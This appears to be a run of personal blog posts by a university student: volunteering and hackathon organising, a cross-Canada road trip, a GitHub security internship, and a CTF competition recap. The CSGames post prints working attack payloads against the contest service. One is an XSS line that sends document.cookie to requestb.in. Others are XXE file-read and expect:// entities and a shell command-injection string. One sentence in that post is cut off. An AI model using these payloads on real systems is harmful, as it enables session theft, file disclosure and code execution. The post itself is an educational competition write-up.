]]>Its hard to believe I’m finishing up my undergrad this month! The past four years of my life flew by. Looking back on this past semester I was able to accomplish quite a bit! The majority of my time this past semester was spent volunteering and organizing events at the university, something I’ve been passionate about since first year. Some of my major accomplishments this past semester include: co-chairing uOttaHack, the University’s first MLH hackathon; organizing Canada’s first Raspberry Pi Jam; and leading Battle Royale 11, a 24 Hour LAN charity for CHEO raising over $2500 for Charity. In this post, which actually serves as my final project for the volunteering class I’m taking, I will reflect upon all of the volunteering I did (which somehow accumulated to over 350 hours in one semester). Instead of specific placements for the course I was able to use my own experiences and opportunities. At the end of this post I’ve created a portfolio with a plethora of images from all of my experiences this semester.
Over the past year I’ve had the privilege to work with remarkable team of organizers to put on one of the largest 24 hour events the University of Ottawa has seen. uOttaHack was one of the largest undertakings I’ve ever been a part of and not only did our team meet our goals but rather we beat them by a mile! For those of you who don’t know what a hackathon is, it can best be described as an invention marathon where computer science & engineering students come together to turn ideas into reality over the span of a weekend. In our case we had over 400 students from all over the country come to uOttawa to attend uOttaHack. I think the moment I realized how real the event was, was when I looked up from the podium at opening ceremonies and seeing so many students eager to get started hacking.
Of course an event of this scale couldn’t have been done without all of the prep work which took place over the year leading up to uOttaHack. One of the biggest challenges was for our sponsorship team was to raise the $40,000 required to run the event. This involved reaching out to hundreds of companies asking them to become a sponsor and showing them we can be successful even though uOttaHack hasn’t run before. Not only did we meet our $40,000 sponsorship goal but we surpassed it by quite a bit! This enabled our logistics team to send even more busses to Toronto, increasing the reach of our hackathon! Furthermore our logistics team really killed it with their food orders. Many hackers stated that we’ve had some of the best food compared to any other hackathons they’ve been to. This wouldn’t have been possible without the tremendous job our marketing and development teams for making our online presence well known! We had over 1250 students apply for the hackathon which is amazing for our first time ever!
Co-charring uOttaHack really taught me the importance of relying on a team. Everyone on the team was willing to go above and beyond to help out both during the event and the many months lead up to it. Paul and I were extremely pleased with the outcome of the event and the dedication of the founding team. I think its safe to say uOttaHack is now the largest overnight event that took place on campus this year - and hopefully for many more.
In March I helped organize Canada’s first ever Raspberry Pi jam. For those of you who don’t know, Raspberry Pi is a small computer which is extremely portable and perfect for introducing people to programming as well as hardware related hacks. A Raspberry Pi jam is an event foucsed on teaching people what the Raspberry Pi is capable of, giving participants and introduction to programming and hardware hacking. Back in January a community member, whom I met through a meetup group, had posted online looking for volunteers to help him with this project. After a few weeks of planning it was determined that myself and a few other IEEE uOttawa exec would help run the Minecraft Pi station.
The event took place on March 3rd and March 10th at the Science and Tech museum in Ottawa. Over the span of the two weekends the event attracted over 500 people of all ages! You could say I taught hundreds of kinds how to program in python but in reality I learned how to teach kids what programming is. I’m so used to being able to just jump into coding when teaching someone but teaching young kids is completely different. In reality most of the younger kids only wanted to play minecraft but there were a few that really shocked me by coming in and being able to write up code to modify minecraft without any help at all. I think learning how to teach kids will be an important skill which I’ll use in the future since I’m hoping to continue running events like this once I start my job.
Furthermore this past semester I was the Overlord for Battle Royale, an annual LAN charity for CHEO run by the three student IEEE branches in Ottawa. The goal of the LAN charity is to raise money for a good cause while having fun doing so. We hosted 5 game tournaments as well as ran a “mario marathon” in which we stream 24 hours of mario games to twitch, with all proceeds raised going to CHEO. This year was the 11th annual Battle Royale and even though our attendance was slightly lower than expected we still managed to raise a record amount through our mario marathon stream! In total we raised just over $2500 for charity with $1800 of that coming from our livestream.
Another major portion of the event was the CS:GO tournament, which typically brings in 10-20 teams (some even travel). The tournament went on until 3AM and I have to give Bolor and Ryan a huge shout out for managing all of the games and servers, they really killed it! Overall this event was a huge success but one thing I learned is that its really important to have a backup plan. We had one venue booked and secured and then last minute we heard there might be a power outage the day of the event, thankfully that wasn’t the case but had it been then I’m not sure what I would have done. Thanks to the entire organizing team for another successful Battle Royale!
Cybersecirty has been a major passion of mine all throughout my University career. Over the past few years I’ve been running these events known as Capture the Flags (or CTF for short) which aim to teach students about common cybersecurity attacks. I’ve branded these events as Hack All the Things, typically seeing approximately 20-30 people come out. From these events I was able to form uOttawa Cyber Security teams which participated in the Mayor’s Cyber Security Cup, consistently placing top 3 for the past few years. These events have been a great opportunity for me to constantly brush up on my security skills while also being able to teach my fellow peers.
The most recent Hack All the Things took place at the beginning of April. A community member reached out to me through the DC613 Ottawa meetup group asking if he could help build some of the challenges for the event. As it turns out he actually built most of the challenges for this semester’s Hack All the Things! Furthermore there’s a group of students from uOttawa and Carleton that are keen on keeping the event running once I graduate. Its great to know something I’ve put countless hours into will continue to thrive once I’m gone.
Honestly though I don’t know where I would be without the uOttawa IEEE student branch. Ever since my first year I would hang out in the office, learning from the execs there. In these past two years I’ve had the opportunity to represent the student body as an IEEE exec, first as the McNaughton Centre Director and then, this past year, as the Vice-Chair. In my early years IEEE gave so much to me and so I’m happy to be able to give back just as much to the community. During my time in IEEE I’ve helped run and organize numerous events of all types. Some of our popular events included: Cookies n Cram, Coding Challenges, GitHub workshops, and many more! We’ve also opened many doors for students through our events like the WIE Wine and Cheese, and the Student Professional Awareness Conference which aims to connect students with industry professionals. I’ve really grown as a person both professionally and academically thanks to the IEEE uOttawa Student branch.
Some sappy / inspiring paragraph about the next chapter
University has been an amazing journey and I’m extremely pleased with the person I’ve become from it. I think the extra curricular aspect of University was crucial to my growth and I think the community service course was the perfect way to finish off my undergrad. Moving on I’ll be starting at GitHub full time this coming August however before I flip the page to the next chapter I’m taking some time off to reconnect with Jurre in person, this time in Europe. We’ll be visiting most of the western Europe countries over the span of a month and a half, finishing the trip in Belgium for Tomorrowland!!!!
** Volunteering Portfolio **
]]>What a year 2017 has been! I’ve been on so many awesome adventures I’ve had hardly any time to maintain my blog. In this post, which I opted to write more like a journal entry, I’ll talk about some of my adventures and a few goals I’m setting for myself in 2018.
2017 has been, without a doubt, a wild year! It all started off with the journey of a lifetime – a roadtrip I’ve been wanting to go on since I was in highschool. In May a good friend of mine, whom I met online gaming many years ago, flew to Ottawa from the Netherlands to roadtrip across canada with me. This was my first time meeting Jurre in person even though we met online 8 years ago playing Minecraft. In a little over a month Jurre and I drove all the way from Ontario to BC and back taking in all of the beautiful sights Canada has to offer. From the extremely flat prairies to the stunning rocky mountains this country is absolutely amazing and I’m so blessed to be able to live and grow up here. Hands down my favourite part of the trip was the caving experience Jurre and I went on. We got to traverse 1km deep into a naturally formed cave on the side of a mountain! Being able to travel the country has been something I’ve wanted to do for a while and it did not disappoint! Next up Jurre and I are planning to travel Europe together in summer of 2018!
Over the summer of 2017 I had the chance to live out my dream of being an intern in San Francsicso. I was fortunate enough to be part of GitHub’s internship program, specifically as their product security intern. While there I met some extremely talented and kind people who taught me so much! The whole GitHub experience was even more than I could imagine… from dogs wandering the office to challenging security-related programming problems to the people who make up the company, interning at GitHub was never a dull moment.
Furthermore the experience of living in San Francisco with my roommate Joseph was unreal. Joseph and I did a lot of sight seeing on the weekends seeing things like the Golden Gate Bridge, Painted Ladies and other local events such as sofar sounds (local concerts). Terron, a good friend of mine, also came down to visit me in SF! The first night she was in SF we went to a concert inside of this church like building, it was my first time at a live performance and I really enjoyed it! Living there for a few months really enabled me to see some local sights which tourists would normally miss. If you’re ever there you need to check out the Bi-rite creamery in the Mission district.
However the end of the internship was actually only just the beginning of my time with GitHub. I’m so excited to say that I’ll be going back to GitHub full-time starting summer of 2018 as a Product Security Engineer! I’ll be moving to Colorado some time this summer to get started as a full time employee.
These past few months Paul and I (co-chairs) have been working with 12 other extremely dedicated students to organize uOttaHack, the University of Ottawa’s first ever MLH hackathon. Our goal is to bring approximately 450 extremely talented students of all backgrounds to uOttawa for 24 hours of hacking, developing and inventing. Running an event of this scale is no small task but I’m happy to say that our team is on track to a very successful event! We’ve raised tens of thousands of dollars, booked an entire building on campus for a weekend and have had just under a thousand students apply to attend uOttaHack! After having attended many hackathons throughout my university career I’m so glad I am able to share this experience with other uOttawa students. Cya in February uOttaHack!!
I’m also an avid gamer, so I couldn’t finish uni without running at least one LAN party! Each year the local school IEEE branches band together to run Battle Royale, a 24hr LAN charity for CHEO. This year I’m working with a team of 10 talented students to organize the eleventh edition of Battle Royale which will be taking place in March! We’re hard at work getting all of the graphics, website and marketing materials good to go so that we can start advertising the event in the new year! We’re expecting approximately 100 gamers to show up and game the night away – raising money for CHEO.
These past few months I’ve been attending quite a few more conferences to try and sharpen up my security skills. Plus I realized that this will be my last year where I can take advantage of the student discounts so I attened as many security related conferences as possible. My marks definitely took a hit but I’d say that it was a fair trade off for the amount of knowledge I got from attending all of these conferences.
Hands down my favourite conference was hackfest in Quebec City. At hackfest there was a social engineering CTF which required participants to social engineer companies to get specific information (NOTE all information was not recorded, and the companies were notified). I was truly amazed at how easy it was to get information just by posing as someone you’re not. I also managed to come 2nd place (out of 100) in the CMD’n’CTRL CTF run by Security Innovations at Hackfest! I also had a go at some more physical security challenges such as Wireless hacking, RFID hacking, door shimming, breaking out of handcuffs, laptop lockpicking and much more!
Next on the list of exciting conferences was G33kW33k where I spent and intense 9 days working with many security experts from around the world to try and detect and stop malware earlier. This conference was more of a hackathon style event where we worked in teams to develop a security related project. This was my first time really working with Python and I must say the language is really slick. Its perfect for any hackathon since it’s easy to read yet can it can do so much! If you’re a student interested in security I’d highly recommend checking G33kW33k out! G33kW33k also had a CTF on the first night which I managed to come second place in!
The last conference I want to talk about is SecTor. This year uOttawa funded Abdul and I to attend Security Education Conference Toronto (SecTor) to go and learn about the latest cyber security threats. We’re working with Prof. Knox to develop a secure software design course at the university. While I enjoyed sector I found the talks to be too high level – I felt like it was more business/cooperate oriented unlike the other conferences I had attended. Thankfully through all of the events I attended I feel like I have plenty of information to pass on to Prof. Knox to make a kickass design of secure software course for future CS students.
I really wanted to share my passions for whitehat hacking with the other students of uOttawa. So back in November Abdul and I ran an entry level CTF for other students to have a go at practicing hacking. We had about 30 people show up and attempt to break my challenges with a few solving almost every challenge – congrats to hack.carleton for their first place win! The source to the challenges along with the solutions can be found on my GitHub – no peeking until you attempt the challenges. :)
These past few months have been jam packed with school and other events but somehow I still managed to find a bit of free time. I recently picked up PUBG and have really been enjoying the game. Over the past 2 months I’ve put a solid 200 hours into the game. If you’re thinking of picking up the game its ridiculously buggy and requires stupid specs to run at any decent framerate but also totally worth it imo. Getting your first winner winner chicken dinner is a pretty good feeling haha!
This past November I participated in Movember again. Movember is something close to me, I’ve been participating since 1st year uni. My uncle recently passed away from cancer so I dedicated this year’s Movember campaign to him and I must say we did an amazing job! The community came together to help me raise over $1250 to donate towards cancer research and men’s health – I couldn’t be more proud of everyone for helping me reach my goal! Other than those two things my personal life really has just been working towards my career and school goals. I think you could say that 2017 has been a real…
Starting in 2018 I’m hoping to blog more often with more technical blog posts. I’ve been doing quite a bit with my raspberry pi behind the scenes here and I want to share some of that knowledge with y’all. I have a backlog of ideas for technical posts that I just need to take the time to write up. I’m hoping that this year I’ll have some time to start writing posts on a more regular basis, maybe once a week?
Another, more ambitious goal, is to become more active and slightly healthier. I’m hoping to change that a bit in 2018, not necessarily by going to the gym but rather by walking more or skating on the canal. Furthermore I’m hoping to start to follow a more regular sleep & meal schedule – I think both of those would contribute to a much healthier lifestyle. We’ll see how it goes but small steps can make a big difference! Bring it on 2018!
]]>A little over a month ago I landed in sunny San Francisco for a summer of adventure as the product security intern at GitHub! The internship is unlike any other job I’ve worked at before, in a good way of course! On our first day all of the interns were greeted with a wonderful crepe breakfast followed by receiving some superb intern exclusive swag! The theme for the internship is Willy Wonka which is spot on since we truly got the golden ticket to an incredible internship. Our internship coordinator, Lisalou, has planned an abundance of activities to guarantee that we, the interns, get to: learn about the company, explore the SF Bay area, meet other talented hubbers, and most importantly have fun!
The GitHub HQ is probably one of the coolest buildings I’ve ever worked in! You won’t find cubicles but you can find: a free SWAG shop, open concept work areas, a massage room, a gym, a coffee bar w/ a local barista, a bar bar (yes you read that correctly), a sleeping room (with hammocks), a library, a rooftop lounge area and much more! Every Tuesday and Thursday the office provides unique catered lunches with a variety of options. And just in case all of that wasn’t awesome enough then you can also play with one of the many dogs that people bring to the office daily (shout out to scout & marley for coming over to get daily belly rubs in the morning)! There’s so many unique places to work within the office that I sometimes forget I even have a desk.
On a typical work day I roll out of bed around 9:30 and take the BART (subway system) followed by the MUNI (busses) to get to work. I live near 16th and mission station and work is near 2nd and Brannan which is about a 25 minute commute one way. Once I get to work I make myself a bagel or bowl of cereal at the kitchen. After breakfast I typically work at my desk until noon at which point I head downstairs, grab some lunch then and catch a game of pool or ping pong. In the afternoon, depending on my schedule, I like to roam around working in different areas of the office. Just this past week there was a new addition to the building with a massive library that is great if you need somewhere quiet to work. I usually end the day around 6:30-7:00 with a game of pool with some of the other interns. One thing I love about this job is that it isn’t from 9 to 5 but instead I can wake up later and work later which is a huge win because I am definitely not a morning person. This works out well because the majority of my team is remote so we’re mostly all from different timezones.
As an intern on the product security team I’m responsible for securing the GitHubs. GitHub maintains its own fork of Git which contains some code to extend the default functionality and my task ths summer is to work on one of these extensions. I’ve mostly been working in C which has been quite an interesting experience since I’m so used to the freedom of using Javascript. Debugging in C is pretty much just replacing *
with &
or .
with ->
until it compiles (Note: I’m not a pro… please don’t actually do that to debug, lol). As a prodsec team member I have get the privilege of participating in the bug bounty triage rotation from which I’ve learned GitHub mostly receives invalid/low risk reports. Also last week I got to meet the entire app/prodsec team in person for the first time at our team mini summit. The team-building activity for our mini summit was blacksmithing at which we all smashed molten hot metal into kickass fire pokers.
On the weekends I’ve been out and aboot exploring the bay area and experiencing the San Francisco culture (which involves eating a sufficient amount of burritos). In the short few weeks I’ve been here I’ve had the opportunity to visit the Golden Gate bridge, get locked up in Alcatraz, experience the SF pride parade, overlook SF from the top of the twin peaks, watch the 4th of July fireworks, meet a few CEOs for large Tech companies and much much more! During the first week some of the box interns, Joseph and I went to check out the computer history museum learning all about what got us to the modern electronics. One of following the weekends Joseph and I went urban geocaching which was a conduit to exploring some of the lesser visited areas in San Francisco. The geocaching had us traveling all over SF from Delores Park to the painted ladies to the castro. Another weekend Joseph, Chris, Kim and I went for a swim at Chrissy fields beach.. so I can officially say I’ve been swimming on the west and east coasts now! I’m excited to see what the next few weekends of adventure will bring!
In summary this experience has been awesome so far and I would trade it for anything, check out some of these photos I took:
]]>Over the last month I had the chance to roadtrip out to the west coast of Canada with my friend Jurre! All of my life I have been an online gamer making plenty of new friends through various online communities. 7 years ago I met Jurre through a Minecraft server which I ran. Typically online friendships only really last for the time you’re playing that specific game however this one stuck through many games… Minecraft, Runescape, Rocketleage, Overwatch and many more. Jurre is from the Netherlands and I’m from Canada so our friendship has developed purely through the internet however this winter we planned a cross Canada roadtip. The roadtrip was the first time that Jurre and I met in person even though it didn’t really feel that way! I tracked our trip in an app called polarstep which showed our route & some points of interest along the way. I tend to ramble on quite a bit in this post but be sure to check out the collage of photos at the end since a picture is worth a thousand words!
Jurre landed in Toronto and spent a few days exploring while adjusting to the 6 hours of jetlag. The day he took the train to Ottawa I was supposed to meet him at the train station but one of the worst possible situations happened when I was heading there… My phone died and the bus I was supposed to take never showed up! Thankfully Jurre was smart enough to wait at the station until the next bus got me there (this was honestly the worst feeling). During our few days in Ottawa I showed him around the parliament buildings, went with him to get his first beavertail and even took him to get his first true Canadian poutine. Just before embarking on our month long adventure I took Jurre to meet my family.
The journey through Ontario took us almost 3 days which goes to show how large my province really is. We stopped in sudbury briefly to check out the Big Nickel followed by staying in Sault Ste. Marie for the night. The next day we drove along Lake Superior for many hours stopping to take plenty of photos. Jurre quickly learned that tractor trailer drivers think they own the road: twice we had to literally stop and pull over onto the shoulder because a tractor trailer was passing another vehicle IN OUR LANE! Thankfully we made it to Thunder Bay safely that night and my good friend Terron let us crash at her place! For breakfast we had finn style pancakes with real maple syrup made at Terron’s parents sugar bush in Lanark county! The last big stop for Ontario was on our way out of Thunder Bay when we stopped by Kekabeka Falls Provincial Park to do some hikes and check out the waterfalls.
The next week was spent travelling across the flat flat prairies. Manitoba, Saskatechawan and Alberta were all long drives with not much to do other than talk. Jurre attempted to teach me some Dutch but we both quickly realized that wasn’t going to work out well. There was one close call with a deer during our drive to Sasketchewan which set us in high alert mode for the rest of the drive that night. Once we made it to Alberta we stopped at the Royal Tyrell Museum in Drumheller which is the largest dinosaur museum in Canada. Drumheller made me feel like I was in the middle of the desert since we were completely surrounded by sand dunes. From drumheller we drove up to the last big stop before the rockies which was the West Edmonton Mall. I’ve never seen a mall so huge, I mean it was like any other mall only this one had a roller coaster, waterpark and a freaking skating rink in it!?!?
From Edmonton we headed towards Jasper and the rocky mountains. This was the first time I’ve ever seen the Canadian rockies in person and they were absolutely stunning. For our first few nights we stayed in an OTentik (a small permanent wooden structure with tent material around it) just outside of the town of Jasper in the heart of the rockies. During our stay in Jasper we went on some hikes in the mountains and the views are just astonishing. One of the days while exploring the town we came across a RV which was shipped to Canada from the Netherlands (we knew this due to the dutch license plates). Funny enough we ran into the folks who owned the RV and Jurre was able to have a conversation in dutch. From Jasper we headed south towards Lake Louise driving along a highway which was covered by an avalanche earlier in the week.
On our way from Jasper to Lake Louise we stopped to for an adventure on the Columbia glacier. To traverse the glacier we took essentially what was a school bus with 6 monster truck wheels up and down some extremely steep hills. Once at the look out point the guide stated that there was over 200 metres of ice below the spot we were standing! The ice on the glacier was a slight turquoise color and I’m not too sure why that is. From the glacier we went to Lake Louise and stayed in Fairmont Chateau Lake Louise which is the hotel directly on the lake. Unfortunately most of the paths around the lake were closed due to avalanche dangers however the area was quite pretty. The hotel was probably the fanciest hotel I’ve ever stayed in in my life! From lake louise we headed to Banff & Canmore which was one of my favourite stops.
Once in Banff Jurre and I went to check out the Cave and Basin National historic site which, if I remember correctly, was the first historic site in Canada. The Cave and Basin had the worst rotten egg smell since it was on the side of Sulphur Mountain. Like its name suggests, the mountain has quite a bit of sulphur which produces a rotten egg smell that is released in the water. The town of Banff was just a touristy city with plenty of small shops so it didn’t really interest Jurre and I that much. We took this as an opportunity to do some shopping for our families however most of our time in this area was actually spent in Canmore.
During the nights we were staying at a place called the Rockey Mountain Inn located in Canmore which is about 20 minutes away from Banff. The highlight of my trip had to be the Canmore cave tour that we did. This tour was a 4 hour trip traveling 1km into a natural cave system formed on the side of a mountain. During the tour I got to attempt many challenge squeezes some of which I could feel my stomach touching the floor while my but was touching the roof. Its wicked to see how a small crack in the side of the mountain actually goes so deep into the rocks. At the furthest point in the tour we turned off our headlamps and experienced absolute darkness… not a single photon of light could reach where we were standing. Hearing the water drip around us was so calming it almost felt like I was dreaming. The cave tour was one of the last activities we did before moving on towards BC then turning around and heading home.
During our stay in Canmore we made a quick day trip over to Radium, British Colombia just to say that we travelled all the way out west. We visited the Radium Hot Springs which take naturally heated water in pump it into a pool. Unfortunately both the Jasper hot springs and the Radium hot springs were commercialized so they were quite busy and the pools themselves were man made. I was hoping it would be literally a naturally formed pool of water which according to some of the locals these do actually exist in the area! On our way back from Radium we drove past two black bears! Both of the bears were quite chill, just eating grass on the side of the road. Jurre and I pulled over to snap a few pics and they didn’t even flinch (we made sure to stay in the car though).
After BC we had to drive straight home stopping just for the nights and leaving the next morning since Jurre needed to make it back in time for his flight. In Calgray I managed to get caught up with my buddy Austin from Highschool which honestly felt like no time has passed. Thankfully we made it back in time for Jurre to catch his flight back. This trip was an experience of a life time and I would do it again in a heartbeat. The internet is an amazing place which can truly connect people from all over the world turning strangers into great friends. I’m hoping to roadtrip Europe with Jurre next year!
During our trip we also took some cool timelapse videos, check them out here:
** Image Gallery (Panoramas at end) **
]]>A few weeks ago I got to participate in the 2017 edition of CSGames on the uOttawa Series A team. We managed to place second overall! For those of you who are unfamiliar CSGames is an annual coding competition which consists of many computer science related challenges. Universities across Canada (and some from the states) are allowed send up to 2 teams of 10 students to compete. The competition takes place over three days in which there are multiple challenges that contribute towards your team’s overall score. Challenges usually consist of 2 team members sharing one computer and working together to come up with a solution. For a full list of the challenges from this year see the 2017 CSGames website. Katherine was my partner in crime for the weekend since we both chose to work on the three security related challenges: Reverse Engineering, CSE, and Security.
Upon arrival on friday night Katherine and I competed in our first challenge which was Reverse Engineering. The reverse engineering challenge had 3 questions, two which required reversing a binary file and the third was an encryption algorithm to which the key being used was lost. The first binary was a file server where the documentation was lost. The goal was to determine the credentials used and then create a client to interact with the server. While we were unable to create a fully working client we identified the credentials & commands the server accepted. If you attempted to patch the binary it would start printing errors saying “SRC GUARD 2017”.
Next was the encryption algorithm with the lost key. The key was actually a png file however the algorithm only looked at the first few bytes of the file which actually means it was just constants within the PNG header to encrypt the file thus any PNG image could be used to decrypt it. Katherine and I actually never looked at this one since we were too focused on the other ones, one of my the Seed Round members told me how they solved this challenge afterwords. In hindsight I wish we took some time to look at this since it was easy points instead of just focusing on the other ones which were worth more points.
Finally the last and hardest question was to patch a password manager to spit out the password being stored. After initial inspection the password seemed to be printed when the manager was running on a specific hostname & after a specific time. We managed to patch the app however it printed out “cheater” since our patch didn’t fully work. Katherine and I ended up placing 9th in this challenge which was to be expected since we didn’t make that much progress.
The next morning Katherine and I had the CSE challenge. The CSE challenge was essentially another reverse engineering challenge, only this time much more complex. For this challenge we were given 3 documents. The first was piece of paper a little larger than the size of a poster containing a bunch of a gates (upon further reading it was the instruction decoder for a custom CPU). The second was a high level diagram of the instruction decoder. Finally the last one was a “top secret” document containing the challenge. To go with all of this we were given an unknown ELF file.
By connecting the dots from the provided information Katherine and I realized that the elf file, after the 4096 bytes of the elf header, was a bunch of machine code containing instructions for this custom CPU. Our first goal was to create a disassembler to help us understand what was going on in this unknown binary. To build the disassembler we needed to manually trace which bits are active for each instruction in the CPU and then map that to the hex value specified by the machine code. This took much longer than expected however we did get a disassembler working!
After creating the disassembler it appeared to be crashing at an instruction which was not a part of the CPU instruction decoder spec and unfortunately we couldn’t figure out why this was the case. After the competition was over I asked why and it turns out that the binary was actually storing an encrypted x86 binary within. The goal after a working disassembler was to decrypt the stored x86 binary and figure out what that binary was doing however we didn’t make it that far.
Katherine and I were extremely happy with our progress in this challenge placing 4th. It was by far my favourite of the three challenges I participated in and I learned the most from it. This challenge (finally!) actually made use of something I learned in school. Analyzing a binary for an unknown architecture was kind of fun because there wasn’t any plug and go solution or any tool that could give us the answer. We were required to do all of the work manually.
The next morning was the security challenge, my chance to shine! The premise of this challenge was to find vulnerabilities in a service called “What Time is it as a Service” or wtiiaas for short. I started off with a simple dirb which revealed a directory called /old/
which shouldn’t have been publicly accessible. In that directory there was an encrypted passwords file for an employee account along with the weak xor algorithm used. Essentially we just had to apply the xor algorithm on the file again to decrypt it. After that we were able to login to the employee portal. Once logged in there was a messaging system and an admin who would “respond right away” which was a clear indication of XSS. After a simple <img src=x onerror=this.src='requestb.in/secret?cookie='+document.cookie />
we were able to dump the admin cookie and steal her session to get the next flag. This was as far as the admin system went so we had to find another target.
Our next target was the wtiiaas API. The API had 2 models: a free model which enabled the developer to send some XML with a free API key to request the current time and a premium model to request the current time with a specific format, however this required a premium API key. After few minutes it appeared that the free API was vulnerable to two attacks. The first being an XSS attack enabling me to exfiltrate files and the second was a SQL injection in the key parameter. Using the XSS I was able to dump the /etc/passwd
file but not the /etc/shadow/
file. However I was able to dump the entire API file by file to base64 using a payload similar to <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/index.php" >]>
and then just following the system paths for the includes within the API.
The final part challenge was to get remote code execution on the server. My first thought was to just use an xxe to take control of the system via a crafted entity containing [<!ENTITY foo SYSTEM "expect://<command>">]
however after multiple failed attempted I realized that the expect://
command was disabled. So my next guess was that it had something to do with the API… and I was right! By dumping the API files earlier I was able to inspect the source and realize that the time was being retrieved using something like exec('date')
within PHP. However the premium API allowed you to request a specific time format so it looked more like echo "<response>".exec('/bin/sh -c \'date +"'.$format.'"\' 2>&1')."</response>";
. As you can see the format variable is being used so let’s look at that: $format = xml_attribute($action,"format");
. Thus the format variable is being retrieved directly from the XML, so a payload using the premium API could be crafted to execute arbitrary commands by inserting something like %hh%mm%ss' && <command>
where logging.php
file even though I had dumped it…
Overall Katherine and I placed 6th in this challenge however I was quite disappointed with my performance in the securit challenge. I spent too much time trying to get RCE via expect://
only to realize it was disabled. I also missed a simple SQL injection which could have gotten us quite a few more points. On top of that there was a theoretical component to which I only got 24.5 out of the possible 30 points. I did really poor on the theoretical security portion which is something I will be sure to practice more for next year.
What an awesome weekend! I learned so much about reverse engineering, patching binaries and analyzing unknown files. Unfortunately after all of our efforts Katherine and I didn’t place top 3 for any of our individual challenges however Series A (the team we were on) ended up placing 2nd Overall! Originally we had placed 3rd during the competition but due to an error marking we were bumped up to second (0.03% behind first!). We ended up taking home a total of 8 medals this year across the two teams! I can’t wait for next year when uOttawa will hopefully bring home the CS Cup! For the results of this year’s CSGames you can checkout the scoreboard on the CSGames website. Oh also note to self: BRING SOME DRESS CLOTHING FOR THE BANQUET NEXT YEAR!
]]>It has been a while since I’ve blogged, so I thought I would use this post to recap my 2016 and outline my goals for 2017. 2016 has been a great year: I’ve gotten more involved at University, further pursued my passion for computer security and achieved a few personal goals.
To kick off my school involvement in 2016 I organized a second Pebble hackathon called “Time for Another Round”. Once again it was a 24 hour hackathon (with an overnight break) which was sponsored by Pebble. The idea was for participants to create apps for the Pebble smartwatch and hopefully learn something new. Overall the hackathon was a huge success, I had over 30 students participate and they created some awesome apps. There were also 2 Pebblers which had traveled up from Detroit to participate in the event! You can read more about the hackathon in the follow up blog post I wrote.
Unfortunately as of November, 2016 Pebble no longer exists as they were bought out by fitbit. I must admit I really enjoyed being a community developer for pebble! I got to run monthly meetups for over a year, run 2 Pebble hackathons, build some amazing libraries & apps but most of all got to meet some amazing developers at the 2015 Pebble developer retreat in San Francisco. Even though the official Pebble company no longer exists the community still lives on through the Rebble project.
In 2016 I also got more involved with associations within the school, specifically the IEEE uOttawa student branch. It all happened because during the school year of 2016 a bunch of my friends started hanging out in the IEEE office. When elections time came in april the the past exec convinced me to run and thus I was elected to be the McNaughton Centre Director. So far during my time as an exec with IEEE I have been able to participate and assist in running multiple events. Battle Royale (9 and X) were both extrememly successful LAN parties, each of which attracted over 100 participants. I enjoyed helping run the events so much that I volunteered to be one of the Overlords for BR 11 which will be taking place in November 2017. I also had the chance to participated in IEEEXtreme, a 24 hour coding competition hosted by IEEE international. My team placed in the top 10% world wide!
I feel that as the MCNaughton Centre director for the 2016/17 term I have fulfilled my goals. At the start of the year I had set a few small goals for my self:
I believe that I achieved both of these goals to their full extent. The first one was completed when I had organized an office cleanup during the fall semester. During this cleanup we were able to create 3 more private work areas for students along with cleaning off the workbench area. The office cleanup was a team effort and was a huge success, students are constantly using the newly created workspaces. I also managed to get our stereo system working again (including the FM radio)!
As for promoting the branch through events, near the beginning of the year I organized a server room tour at uOttawa. We had approximately 15 people attend this tour. Then in the winter semester I organized a technical talk with Tanya Janca, the OWASP Ottawa co-organizer, about hacking your own app. We had approximately 25 students show up to that event. I’d say with organizing these two events along with helping out with plenty of other events I have succeeded in my second goal to run events and promote the IEEE student branch.
2016 was the year of security for me. It all started in the summer of 2016 when I got my first security related job with redcanari. While working for Redcanari aside from software development I also assisted in enterprise level penetration testing while being mentored by industry professionals. They taught me how to search for the OWASP top 10 and defence methods to prevent them. Redcanari also introduced me to the world of security based capture the flags or CTFs for short.
In August I got to participate (remotely) in my first ever CTF, BSides Las Vegas. This CTF was a Red (attack) vs Blue (defence) style ctf where I was on the red team due to the fact that my colleague from Redcanari was the red team leader. It was the first time I got to pwn hosts for fun and I learned quite a bit, I even made a FreePBX module to get a root shell! Following the CTF in august I then participated in BSides Ottawa which was a jeopardy style CTF where participants had to pwn apps & servers to find the flags. My team “Hack.Carleton” ended up placing second overall, which was quite impressive considering we were a bunch of university students against teams of industry professionals! Those two CTFs inspired me to write & host my own CTF at uOttawa in which approximately 30 students showed up for a night of hacking and learning. The CTF I built was hosted on AWS and I used FBCTF as the team management platform. The CTF I created also served as tryouts for CySCOTT, which was a hacking challenge between local universities hosted by the Tom Levasseur & the Mayor of Ottawa. My team placed second in the CySCOTT competition! Finally, just last month, some students from uOttawa and I managed to place first in the OWASP CTF.
In the middle of the summer I found my first major security vulnerability which I responsibly disclosed to ASUS. You can read more about that security issue in my blog post following the responsible disclosure. Later on in the fall I was doing some research with a fellow Pebble developer, Rob, when we came across a vulnerability in the Pebble app ecosystem. Again we responsibly disclosed it to Pebble’s whitehat program but this time I was rewarded for my efforts. I also wrote up about that disclosure in a separate blog post.
Moving into 2017 I will be able to continue improving my knowledge in the field of computer security during a 3 month product security internship at Github. This June I will be traveling to San Francisco to participate in a 3 month internship at Github as a product security intern. I will be working in a team of industry professionals learning from some of the best and helping improve a product which I use on a daily basis. Continuing back into school in 2017 I’m planning to start a security club which will have weekly meetings with lightning talks, much like the click jacking lightning talk I gave.
However 2016 was more than just school and security, it was also a year for some personal improvement. Nearing the end of 2016 I decided to participate in Movember. For those of you who don’t know Movember is a fundraiser which takes place during the month of Novermber to raise funds for Men’s cancers & health. This was the second year that I’ve participated. I chose to dedicate my movember campaign to my Uncle who is dying of cancer. My goal was to raise $500 and for every $10 donated I would donate $1. I’m glad to say not only did I reach my goal of $500 but I surpassed it raising a grand total of $609! Thank you to everyone who donated, this wouldn’t have been possible without you!
This movember I also participated in their MOVEmber move challenge which encourages participants to live a more active and healthy lifestyle. To do this I got a personal trainer at the uOttawa gym and started going to the gym on a weekly basis. I have continued this into 2017 now attending the gym 3 times per week (though I’ve slacked off a bit lately due to exams). Next up I’m hoping to slowly change my diet to something a bit better for my body but that will come in due time.
Finally they year wouldn’t be complete without a rig update right?!? This past christmas I spoiled my gaming rig and upgraded the entire thing to a custom hardline watercooling loop. Expect more in a future blog post but for now here is a sexy image of my current rig:
